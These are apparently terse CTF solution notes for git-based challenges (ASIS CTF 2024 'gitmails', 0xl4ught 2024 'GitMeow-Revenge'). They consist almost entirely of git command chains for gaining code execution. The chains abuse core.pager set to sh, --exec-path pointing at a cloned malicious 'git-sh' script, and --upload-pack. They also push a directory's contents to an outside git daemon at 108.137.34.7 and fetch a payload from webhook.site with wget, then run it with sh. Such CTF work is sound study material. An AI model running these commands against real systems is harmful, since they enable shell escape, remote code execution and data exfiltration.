GIT CGI Exploit

• Attachments
• References

• solution

Gitmails challenge

ASIS CTF 2024

git log to rce using textconv

git_mails_976b98b3b88b8f2494d2e3760a522ba4cb7c10e8.txz

solver

ASIS CTF Final 2024 - gitmails (web)

1. Does git log trigger fsmonitor? I thought it does not. Then saw your comments and tried and it worked. And I just realized that it was my shell (zsh) prompt running git status, not git log.

0xl4ught 2024

GitMeow-Revenge

git --git-dir=/tmp --work-tree=/tmp init
git --git-dir=/tmp --work-tree=/tmp add --all
git --git-dir=/tmp --work-tree=/tmp grep -o 0x...........................

git -C /tmp init
git -C /tmp add --all
git -C /tmp commit -m add
git -C /tmp branch -M main
git -C /tmp remote add origin git://108.137.34.7/
git -C /tmp push -u origin main

git init
echo -e '#!/bin/sh\nsh' > git-sh
git add --all
git commit -m x
git daemon --verbose --export-all --base-path=.git --reuseaddr --strict-paths .git/ --enable=receive-pack

git clone git://108.137.34.7/ x
git --exec-path=/home/challenger/x sh

git -C /usr/bin/ init
git --

git --exec-path=/usr/bin shell

git config --global core.pager cat

ls /usr/libexec/git-core

git init
git add --all
git commit -m 0
git config --global core.pager sh
git log -s --no-decorate --no-notes --no-expand-tabs --no-indent-heuristic --no-color --line-prefix=ls

git -C /tmp/ init
git -C /tmp/ add --all
git -C /tmp/ commit -m x
git -C /tmp/ show -If4

git show --name-only
git log -n7

git ls-remote --upload-pack=wget webhook.site/uniq_id
git ls-remote --upload-pack=sh uniq_id

add /
commit
log